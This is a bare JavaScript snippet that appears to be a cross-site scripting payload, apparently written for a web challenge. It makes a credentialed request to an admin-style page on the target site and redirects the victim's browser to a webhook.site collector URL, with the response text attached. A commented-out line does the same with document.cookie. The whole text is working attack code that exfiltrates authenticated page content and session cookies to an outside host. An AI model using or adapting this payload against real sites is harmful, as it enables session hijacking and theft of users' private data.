//window.open = "http://127.0.0.1:8080/"; var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { window.location="https://webhook.site/c153ff85-a6e3-4235-b493-a87e1fc10e30/?a="+encodeURIComponent(this.responseText); } }; xhttp.open("GET", "/?fakeuser=admin", true); xhttp.withCredentials = true; xhttp.send(); //window.location="https://webhook.site/c153ff85-a6e3-4235-b493-a87e1fc10e30/?a="+encodeURIComponent(document.cookie);